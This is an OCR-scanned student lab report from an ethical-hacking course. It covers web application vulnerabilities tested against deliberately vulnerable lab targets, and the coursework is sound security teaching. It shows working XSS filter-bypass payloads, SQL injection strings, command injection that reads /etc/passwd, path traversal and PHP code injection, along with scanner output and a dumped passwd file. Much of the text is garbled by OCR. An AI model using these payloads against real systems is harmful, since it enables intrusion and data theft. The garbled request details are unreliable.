OCR@UC Lab

Module 13+14+15 Lab - Web Application Vulnerabilities
LESSON TITLE:

WARNING:

Warning: Any use of penetration testing techniques on a live network could result in expulsion
and/or criminal prosecution. Techniques are to be used in lab environments, for educational use
only or on networks for which you have explicit permission to test its defenses.

Level:
OBeginner OAdvanced
Intermediate

Lesson Learning Objective/Outcomes: Upon completion of this lesson, students will be able
to:

Demonstrate manual and automatic methods of detecting web vulnerabilities
Demonstrate the exploitation of the several different web vulnerability attacks

Materials List:

Computers with Internet connection

Browsers: Firefox (preferred), Google Chrome, or Internet Explorer

Intro to Ethical Hacking lab environment




Introduction

Web sites and web applications are littered with vulnerabilities
that can be exploited using a variety of techniques. In this lab
we will explore several techniques to discover and exploit
these vulnerabilities using freely available tools.

Systems/Tools Used:

Kali Linux (u. root, p: toor)
* Web for Pentester Lab Live ISO (Boot a VM to this ISO)
* DVWA Live ISO (Boot a VM to this ISO)

Power down all other systems

Module Activity Description:

Part One: Manual Testing of Web Vulnerabilities

* Boot to the Web for Pentester ISO file. (No login required)
Determine the IP Address of the Pentester Lab system record it here:
Access the Web for Pentester Course here:

https://pentesterlab.com/exercises/web for pentester/course

NOTE: Be sure to read the entire document until you get to the “Examples.” The Examples
will give you hints on how to solve each challenge.

From your Kali system, use Firefox to browse to the Pentester Lab IP address.

20. Solve at least 12 of the challenges and paste a screen shot of each result. Be sure to
include the address bar in your screen shot to receive credit. Please indicate which
challenge you are showing.


https://pentesterlab.com/exercises/web_for_pentester/course

@ 192.168.2.6/xss/example 1.php?name =hacker<script>alert['hello’}</script> e Q‘
Security "\ KaliLinux '\ KaliDocs \ KaliTools = Exploit-DB W Aircrack-ng gl Kali Forums *§ Nel

1.XXS Ex1
2. XXS Ex2

| ® 192.168.2.6/xss/example2.phpiname =hacker<Script>alert{’hello’)</scripT> - Q
Security ", KaliLinux ‘% KaliDocs '\ Kali Tools % Exploit-DB Wy Aircrack-ng g Kali Forums

3. XXS Ex3

() 192.168.2.6/xss/example3.php?name=hacker<scri<script>pt>alert{’hello’)</scr oo
Security '\ KaliLinux \ KaliDocs '\ KaliTools = Exploit-DB W Aircrack-ng i Kali Forums '

4. XXS Ex4

® 192.16B.2.6/xss/example4.php?name =hacker<img src="blah’ onerror="alert{"he - 9

Security '\, KaliLinux "\ KaliDocs '\, KaliTools = Exploit-DB W Aircrack-ng g Kali Forums '\




5. XXS Ex5

@ 192.168.2.6/xss/exampleS.php?name =<script>eval(String.fromCharCode(97, 108 - @
eSecurity ' KaliLinux '\ KaliDocs '\ KaliTools & Exploit-DB W Aircrack-ng gl Kali Forums %

6. XXS Ex6

® 192.168.2.6/xss/example6.phpname =hacker*;alert('hello”);’ e

tSecurity W KallLinux "\ KaliDocs '\, Kali Tools = Exploit-DB W Aircrack-ng g Kali Forur

7. XXS Ex7

® 192.168.2.6/xss/example’.php?name=hacker;alert('hello’);' wee |
= Security "\ Kali Linux “§ Kali Docs '\, Kali Tools & Exploit-DB Y Aircrack-ng g Kali Forum:

8. XXS Ex8



® 192.168B.2.6/xss/example8.php/"><script>alert('hello')</script> - Q
Security '\ Kali Linux '\ KaliDocs "\ Kali Tools & Exploit-DB W Aircrack-ng g Kali Forums

9. SQL Ex1

[ ] D 192.168.2.6/5q!I/examplel phplname =root’ or '1'="1 W | Q Searc
stVisited [ Offensive Security '\, KaliLinux \, KaliDocs '\ KaliTools  Exploit-DB W Aircrack-ng gl Kali Forums '\ NetHunter '\ Kali Training §
Ho
id name age
1 admin 10
2 root 30
3 usert s
5 user2 2

10. SQL Ex2

rC @ ® 192.168.2.6/sqlijexample2. php?name =root'%090r%09'1'="1 w @ %l Q se:
stVisited [j Offensive Security \, Kali Linux *\, Kali Docs \ Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums *§, NetHunter

Home
id name age
1 admin 10
2 root 30
3 usert 5

5 userz 2



11. SQL Ex4

c @ © 192.168.2.6/5q ! ame= I'= QW
stVisited [fJ Offensive Security “\, Kali Linux *§ Kali Docs '\, Kali Tools % Exploit-DB W Aircrack-ng g Kali Forums “\, NetHunte

id name age

1 admin 1«

2 10 30
usert 5

5 user? 2

12. SQL Ex5

c @ ® 192.168.2.6/5q ¢ 1=2 or 1= w90
Visited [JJj Offensive Security S KaliLinux § KaliDocs ' KaliTools & Exploit-DB Wy Aircrack-ng g Kali Forums '\, NetHunter '

t Home
id name age
1 admin 10
2 oot 30
3 usert 5

o
@

X3
n



NOTE: This may take a little bit of research on your part, but the course document will give
you hints on how to solve each challenge

Module Activity Description:

Part Two: Using a Proxy to Intercept Requests and Responses

On you Kali System, Go to Applications>Web Application Analysis>Burpsuite
Select a Temporary Project>Next

* Select Use Burp defaults>Start Burp

Switch to the Proxy tab and make sure “Interceptis on”

In Firefox, open the menu and choose “Preferences”

Go to Advanced and Click on “Settings” for connection

Select “Manual proxy configuration”

* For HTTP Proxy enter 127.0.0.1 Port 8080

Check the “Use this proxy server for all protocols”

* Click OK

INFO: This will send all browser requests and responses through the Burp application,
which is listening on port 8080.

* Browse once again to the Penetester Lab IP Address.

INFO: It will continue to spin, that is normal. The request was sent to the Burp proxy, but has
not yet forwarded on to the server to receive a response.

* Go to the Burp window and you will see the GET request sent from your browser to the

server.
Click the Forward button to send the request on to the server.

The server will respond with several different responses. The proxy will intercept these
and not forward the on until you click forward. Inspect each response and then click
forward until there are no more responses. When complete, you will see the full home
page in Firefox.

Click on the first XSS example. Notice the GET request on the first line has the same path
as the parameters we saw in the first part of the lab.

Edit the line to run an alert script as we did in the previous section. Then click forward.

Got back to Firefox and you should see the JavaScript alert box has appeared.



21-25. Repeat this for S of the examples that you choose before. Show a screen shot of the
edited request and the result in Firefox.

@ & 192.168.2.6/xss/examplel.phpname =hacker
GET /'xum"mmlel.pl’v?mm-.‘nder-'ncxipti-clert('}'ello')-i‘ncrip:?-i HITY/1.1 M Offensive Security "\, Kali Linux "\, Kali Docs '\, Kali Tools & Exploit-DB W
Hoot: 192.168.2.6
Uner-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:60.0) Gecto/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept - larguage: en-US, en;q=0.5
Accept - Encoding: gzip, dellale
Referer: http://192.168.2.6
Conrection: close

& 192.168.2.6/xss/example2.phpname =hacker v @
[ Offensive Security “§ Kali Linux ' KaliDocs “§ KaliTools = Exploit-DB W Aircra

E Params THeaders THex ]

GIT /xoo/exanple . plp’rane=lacler <jcript>alert |'lello’ ) </scripT> NTTP/1.1
Hort: 102168 2.6

Joer-Agenl: Mozil.e/3.0 (X11; Lirmx xB6_64; rr:60.0) Gecko, 2010010, Firelow/60.0
Arrept: text/html, appl icatics/xbtal+xal applice tion/=<nl jq-0.9,*/%;q-0.8

Accen! -lancunge: en-§ en:ia=0. 1

Accepl-lcoding: gzip, dellale

Refesremr: httn: //102.168.2.6/

Correction: close

Upgrade - Incerure- Regueota: 1

Lu Params T Headers THex ]

BET /xoo/cxanplcd.pp?mmc-locke: <Lw ore—'blah' are=rror='elert('lella) ' /> HITP/1.1
doot: 192.158.2.6

Uses -Agest: Mosilla/3.0 (X11; Lisux =86_64, :v:60.0) Geclo/20100101 Firclfox60.0
Accept: tet/htnl,application/<hinl-xnl,applicetion/xnl;q=0.9,%/*;q=0.8

Aocept - larguage: en-U8 an;qw0.5

Aocept - Erooding : g=ip, defleta

Rafarar: http://102.168.2.6/

Conrecticn: clore

Upg reacies - Troseeures -Reegame tn - 1

® & 192.168.2.6/xss/exampleé. php?name=hacker
H Params I Headers I Hex |

d [ Offersive Security "\, Kali Linux '\ Kali Docs '\, Kali Tools & Expl

GET /xoo/exanpled.phpt’rase=tacter'jalert (*hello’) ;' HTTP/1.1
Host: 192.168.2.6
User-Agent: Mozilla/5.0 (X11; Lirnux x86_64; rv:60.0) Gecko/2010010]1 Firefox/60.0
Accept: text/html,application/xhtml+xml application/xml;g=0.9, %/%*;g=0.8
Accep!t - larguage: en-US en;g=0.5
Accep! - Brcodirg: gzip, deflale

192.168.2.6
Correct lon: clopse

Referer: http://

Upg racks - Insecure-Reqquests: 1




Module Activity Description:

Part Three: Scanning for Web Vulnerabilities

On your Kali System, Go to Applications>Web Applications>OWASP ZAP

*  Choose No and click start.
* Inthe URL to attack, enter the IP address of the Pentester Lab web site.
* Then click attack. (This will run for several minutes.)

Once the attack has finished. Switch to the Alerts tab.

Got through all the red flag alerts. Choose one alert from each category, take a screen shot
of the results and explain how the vulnerability was detected:

26. Cross Site Scripting

@ee /

v M Cross Site Scripting (Reflectad) (9) &

| GET: http//192.168.2 6/codeext
GET: http://192.168.2.6/cocdeat
GET: http4/192.168.2.6/fikincls
GET: htp:/192.168.2.6/Mlencle
_ GET: http.//192.168.2 6/xmlexa
GET: http:/192.168.2.6/xs5/exa|
GET: http/192.168.2.6/xs5/03|
GET: M1pu/192.168.2 6/xss
» f path Traversal (2)
» B Remote 05 Command Injection (2}
» R SQL Injection (4)
» f Seruer Sida Coda Injection - PHP Cocy

URL: http/192.168.2
Rk #ragh
Confidence: Medum
Parameter: name

Artack: =<fdiv=<scrpt=almi]);</scnpt= <div=
Evdence:  =</div= <script=alertl]);</scnpt= <div=

CWE ID: 7

WASCID: B

Source Active (40012 - Cross Ske Scripting |Reflected )
Description:

Crosssite Scripting (XSS) is an attack technique that nvolves echang attacker-suppled code Into a usar's browsar instance. A browser Instance can be 3 standard web browser client, or 2
embedded In a software product such as the browser wehin WinAmg, an RSS reader, or an emall client. The code its=F 15 usually wrtten n HTMLJavaScript, but may abo extend to VBScrp

Cther Info:

27. Path Traversal

e / Path Traversal
v URL: p: 168.2, phpifie=. %2F . %2F. %2F. 562F. N2F..N2F..%2F. H2F. %2F. N2F.%2F. H2F . %N2F. %2F..362F. H2Fetc62Fpasswd
Mot 19) Risi: # High
» P Cross Site Scripting (Reflected) (91 | e gl
v P Path Traversal (2] Parameter: fla
Artack: Db ededuidlododod ol
Evidence:  root:x0:0
» ™ Remote OS Command Injection (2] CWEID: 22
» M SQL Injection (4) WASCID: 33
» M Server Side Code Injection - PHP Code | Source:  Active |6 - Path Traversall

» P Directory Browsing (2}
» M X-Frame-Options Header Not St (46)

The Path Traversal attack technique allows an attacker access to files. directories, and commands that potentially reside cutside the web document root directory. An attacker may manipulste a URL i
way that the web =te wil execute or reveal the contents of arbitrary files anywhere on the web seruer. Any Gevice that exposes an HTTP-baed interface i= potentially vulnerable to Path Traversal.

» /9 Web Browser XSS Protection Mot Enab
» /4 X-Content- Type-Options Header Missing

28. Remote File Inclusion

@e / Remate OS Command Injection
v http:/192.168.2 PhpAp=127.0.0.1%2 cat+%2 Fetc62Fpasswd’626

¥ Aerts 19) Risk: # High

» M Cross Site Scripting (Reflected ) (9) Confidence: Medium

» R path Traversal (2) Parameter- Ip

v & Remote 05 Command Injection (2) | areaes 127.0.0.1&cat fetc/passwak

htt Evidence:  root:xi0:0
GET: http/192.168.2.6/commane| CWEID: 78
» B SOL Inpection (4) WASCID: 31
> P Server Side Code |npection - Prf Code | Source: Active (30020 - Remote OS5 Command Injection)

» I Diractory Browsing (2)

» 7 X-Frame-Options Header Not Set (46}

» 7 Web Browser XS5 Protection Not Enab
» (L X-Content-Type-Options Haader Misain:

Description:

Attack technique used for unauthonzed execution of operating system commands, This Rtack is possile when an application accepts untrusted Nput to build operating systermn commands in al
involuing Improper data sanitization, and/or improper calling of external programs.



29. SQL Injection

@e / SQL Injection
. o URL: hitp:192 166.2.6isqluexamplel.php W2T+AND+%2T LH2THIONL 71927 +—
Mlerts (8 sk  High
» P Cross Site Scripting (Reflected) (9) :

|Confidence: Medium
Parametec name

» M Remote 05 Command Injection (2) |axtack: oot AND 1'=1" —
¥ A SCL Injection (4)

» M Path Traversal (2)

Evidences

Sl CWEID: B9

GET: http:/192.168.2 WASCID: 19

GET: http:i/192.168.2 6/ amg (Source: Active (40018 - SOL Injection)

GET: htp:/192.168.2 Gisqiifexamy | Description:
» M Sarver Side Cede Injection - PHF Cods
M Directory Browsing (2)
M X-Frama-Options Haader Not Sat |46)
4 Web Browser XSS Protection Mot Enab
9 X-Content-Type-Options Header Missing Other Infoi

SQU inpection may be possible,

.
>
.
>

30. Server Side Code Injection

0 / server Side Code injection - PHP Code Injection
8 - . http:/292.168.2. 6/codeexeciexamplel php name=$%22%38print%20cr%201 22%29.c %2097 %29.chri28112%29,chr%2895%29.chr%28116%29.chr¥28111%29,
Nerts (9 28110%29%29%38%24vark ID%22
» P Cross Site Scnpting (Reflected) (9) Risk: ™ High
» I Path Traversal (2 Confidence: Medium
» M Ramate OS5 Command Injection (2) Pararmeter; name
» M SQL Injection (4) Attack:  “;printiche{122).chrl97).chr{112).che{95).chr(116).chr{111).chr{107}.chri 101).chr(110));3var="

Evidence:

§ CWE ID: 93

© WASCID: 20

» A Diractory Srowsing (2) Source: Active (90019 - Server Side Code Injection)
P X-Frame-Options Header Not Set (46) || Besenption:

» [ Web Browser XSS Protection Not Enab

» A X-Content-Type-Options Header Missing

A code injection may be possible ncluding custom code that wil be evaluated by the scripting engine

Module Activity Description:

Part 4: DVWA Challenge

® Boota VM to the DVWA Live ISO.

*  Once booted, determine the IP address of the system and record it here:
*  From Kali, use Firefox to browse to the IP address of the DVWA system.
* Login to the system with the username: Admin and password: password.

Click on DVWA Security, then select low from the drop down and click submit.

Complete two of following challenges and show proof with a screen shot.

31. Under Command Execution, run a command that displays the /etc/passwd file.



PING 192.168.2.6 (192.168.2.6) 56(84) bytes of data.

64 bytes from 192.168.2.6: icmp_seq=1 tt1l=64 time=0.034 ms
64 bytes from 192.168.2.6: icmp_seq=2 tt1=64 time=0.028 ms
64 bytes from 192.168.2.6: icmp_seq=3 ttl=64 time=0.026 ms

--- 192.168.2.6 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.026/0.029/60.034/0.005 ms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbhin: /bin/sh

bin:x:2:2:bin:/bin: /bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: /usr/ganes:/bin/sh

man:x:6:12:man: /var/cache/man: /bin/sh
lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:1@:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data: /var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/1ibuuid:/bin/sh
syslog:x:101:183::/home/syslog:/bin/false
dvwa:x:1000:1080:dvwa, ,, :/home/dvwa:/bin/bash
sshd:x:162:65534: :/var/run/sshd:/usr/sbin/nologin
messagebus:x:103:110::/var/run/dbus:/bin/false
usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false
pulse:x:105:111:PulseAudio daemon,,,:/var/run/pulse:/bin/false

32. Under SQL Injection, perform an attack that returns all users in the database.

Vulnerability: SQL Injection

User ID:

‘ “ submit |

ID: root' or '1'='1
First name: admin
Surname: admin

ID: root’ or '1'='1
First name: Gordon
Surname: Brown

ID: root' or '1'='1
First name: Hack
Surname: Me

ID: root" or '1'='1
First name: Pablo
Surname: Picasso

ID: root' or '1'='1
First name: Bob
Surname: Smith

33. Under XSS reflected, enter a script that returns a popup.




34. Under XSS stored, store a hidden script in a comment that returns a popup.




